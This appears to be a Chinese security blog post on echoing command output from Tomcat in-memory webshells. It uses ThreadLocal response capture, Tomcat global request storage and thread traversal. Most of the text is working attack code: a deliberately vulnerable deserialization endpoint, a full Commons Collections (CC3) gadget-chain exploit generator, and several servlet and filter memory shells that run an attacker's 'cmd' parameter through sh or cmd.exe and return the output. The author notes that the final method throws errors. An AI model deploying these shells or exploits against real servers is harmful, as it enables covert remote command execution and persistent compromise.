Tomcat内存马回显

回顾JSP马

详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:

  • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
    限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰
  • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
    限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
  • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
    限制:会导致http包超长,但相对比较通用。

ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。
举个例子

package org.example;


import java.util.concurrent.TimeUnit;

public class NumUtil {
    public static int addNum = 0;
    public static int add10(int num) throws InterruptedException {
        addNum = num;
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e){
            e.printStackTrace();
        }
        return addNum + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                try {
                    System.out.println(num+":"+NumUtil.add10(num));
                } catch (InterruptedException e) {
                    throw new RuntimeException(e);
                }
            });
        }
        executorService.shutdown();
    }
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29

一个利用线程来进行对addNum加数的操作,这结果是不是看着怪怪的,全是29。
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29这样的数字,其他结果也是同样的道理
解决方法有很多,其中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:

public class NumUtil {

    private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

    public static int add10(int num) {
        addNumThreadLocal.set(num);
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return addNumThreadLocal.get() + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                System.out.println(num+":"+NumUtil.add10(num));
            });
        }
        executorService.shutdown();
    }
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15

这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了


可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequestlastServicedResponse,分别都是ThreadLocal类型:

internalDoFilter方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response

Springboot版本问题

springboot2和springboot3,它们的if条件不同
springboot2:


springboot3:

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的


modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16

JDK版本问题

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11

初步构造回显

package com.example.springboot2.controller;

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
        //反射获取3个属性
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        //去除final修饰符
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        //设置private可访问可修改
        modifiersField.setAccessible(true);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        //反射修改lastServiceresponse和lastservicerequest属性的值
        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
        boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        //第一次进入时为false和null
        if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
            System.out.println("in");
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        }
        //第二次进入时就进入了if赋值为了request和response,因此进入else
        else {
            String name = "xxx";
            //从req中获取ServletContext对象
            // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
            ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            System.out.println(servletContext);
            System.out.println(servletRequest);

        }
        return "nothing";
    }
}

访问两次成功获取ServletContextrequest

反序列化注入Servlet内存马

准备一个CC3的环境的springboot2,写一个反序列化入口

package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public void hello(HttpServletRequest request) throws IOException {
        System.out.println("in");
        byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try{
            System.out.println(objectInputStream.readObject());
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
    }
}

准备内存马:

package com.example.springboot2.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class shellcode extends AbstractTranslet implements Servlet{

    static {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();

                ServletContext servletContext = servletRequest.getServletContext();


                if (servletContext.getServletRegistration(name) == null) {
                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }

                    //自定义servlet
                    Servlet servlet = new shellcode();

                    //用Wrapper封装servlet
                    Wrapper newWrapper = o.createWrapper();
                    newWrapper.setName(name);
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(servlet);

                    //向children中添加Wrapper
                    o.addChild(newWrapper);
                    //添加servlet的映射
                    o.addServletMappingDecoded("/shell", name);

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

cc3:

package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static String encryptToBase64(String filePath) {
        if (filePath == null) {
            return null;
        }
        try {
            byte[] b = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(b);
        } catch (IOException e) {
            e.printStackTrace();
        }

        return null;
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        System.out.println(encryptToBase64("cc3.bin"));
//        deserialize("cc3.bin");
//        Map<Object, Object> map = new HashMap<>();
//        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put(tiedMapEntry, null);
//        map.remove(null);
//        Field factory = LazyMap.class.getDeclaredField("factory");
//        factory.setAccessible(true);
//        factory.set(lazymap, chainedTransformer);
//        serialize(hashMap);
//        deserialize("cc3.bin");
    }
}

访问两次,虽然会报错,但是能成功注入内存马

局限性

上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制

基于Tomcat全局存储进行回显

通杀某些版本

流程分析

还是起个springboot,简单写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,其中的request和response都来自父类AbstractProcessor


往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor

继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中

这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint其中的Handler接口:

思路图如下:

所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:

protocolHandlerAbstractProtocol的继承关系图如下:

并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:

后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

WebappClassLoaderBase --> 
	resources(StandardRoot) -->
		context(StandardContext) -->
			context(ApplicationContext) -->
				service(StandardService) -->
					connectors(Connector[]) -->
						protocolHandler(ProtocolHandler) -->
							(转型)protocolHandler(AbstractProtocol) -->
								(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
									global(RequestGroupInfo) -->
										processors(ArrayList) -->
											requestInfo(RequestInfo) -->
												req(org.apache.coyote.Request) --getNote-->
													request(org.apache.connector.Request) -->
														response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者

内存马回显构造

package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
        String cmd = null;
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // 获取 ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // 获取 StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // 获取 Connector 并筛选 HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                    // 获取 AbstractProtocol 对象
                    AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                    // 获取 AbstractProtocol$ConnectionHandler
                    Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                    getHandler.setAccessible(true);
                    AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                    // global(RequestGroupInfo)
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                    // processors (ArrayList)
                    Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    ArrayList processors = (ArrayList) processorsField.get(global);

                    for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // 依据 QueryString 获取对应的 RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            // org.apache.coyote.Request
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            // org.apache.catalina.connector.Request
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

                            // 执行命令
                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                                } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                                }
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                String output = s.hasNext() ? s.next() : "";
                                PrintWriter writer = request.getResponse().getWriter();
                                writer.write(output);
                                writer.flush();
                                writer.close();

                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        chain.doFilter(request1, response1);
    }
}

主类记得加上扫描注解

package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class Springboot2Application {

    public static void main(String[] args) {
        SpringApplication.run(Springboot2Application.class, args);
    }

}

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄

通过遍历进程来获取Context

package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;

public class Tomcat6789 extends AbstractTranslet implements Servlet {
    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Tomcat6789() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        String uri = "";
        String serverName = "";
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                serverName = (String) getField(serverNameMB, "strValue");
                if (serverName == null){
                    serverName = serverNameMB.toString();
                }
                if (serverName == null){
                    serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                uri = (String) getField(uriMB, "strValue");
                if (uri == null){
                    uri = uriMB.toString();
                }
                if (uri == null){
                    uri = uriMB.getString();
                }
            }
        }
        Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads2) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){}
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);

                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String) iterator.next();
                    if (!(uri.startsWith(contextKey))){continue;}
                    StandardContext standardContext = (StandardContext) children.get(contextKey);
                    Servlet myServlet = new Tomcat6789();
                    Wrapper newWrapper = standardContext.createWrapper();
                    newWrapper.setName("xxx");
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(myServlet);
                    standardContext.addChild(newWrapper);
                    standardContext.addServletMappingDecoded("/shell", "xxx");
                }
            }
        }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        //普通回显
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....

热门相关:翻天   弃妇种田忙   万妖帝主   纣临   江太太恃宠而骄